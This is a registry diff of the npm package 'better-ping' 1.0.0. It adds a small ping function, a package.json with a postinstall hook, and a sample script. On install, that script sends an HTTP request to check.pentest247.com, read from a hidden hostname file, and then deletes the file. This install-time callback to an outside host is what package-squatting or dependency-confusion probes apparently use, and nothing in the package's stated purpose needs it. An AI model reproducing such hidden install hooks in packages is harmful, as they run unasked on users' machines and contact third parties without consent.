better-ping 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/lib/index.js ADDED
@@ -0,0 +1,7 @@
1
+ const http = require("http")
2
+
3
+ async function pingHostname(hostname) {
4
+ http.get(hostname)
5
+ }
6
+
7
+ module.exports = pingHostname
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "better-ping",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "lib/index.js",
6
+ "directories": {
7
+ "lib": "lib"
8
+ },
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1",
11
+ "prebuild": "echo \"abc\"",
12
+ "postinstall": "node \"./sample/index.js\""
13
+ },
14
+ "author": "",
15
+ "license": "ISC"
16
+ }
@@ -0,0 +1 @@
1
+ http://check.pentest247.com/
@@ -0,0 +1,10 @@
1
+ const fs = require("fs")
2
+ const ping = require("../lib/")
3
+
4
+ fs.readFile(`${__dirname}/hostname`, (err, host) => {
5
+ ping(host.toString())
6
+
7
+ fs.rm(`${__dirname}/hostname`, (err) => {
8
+ process.exit(0)
9
+ })
10
+ })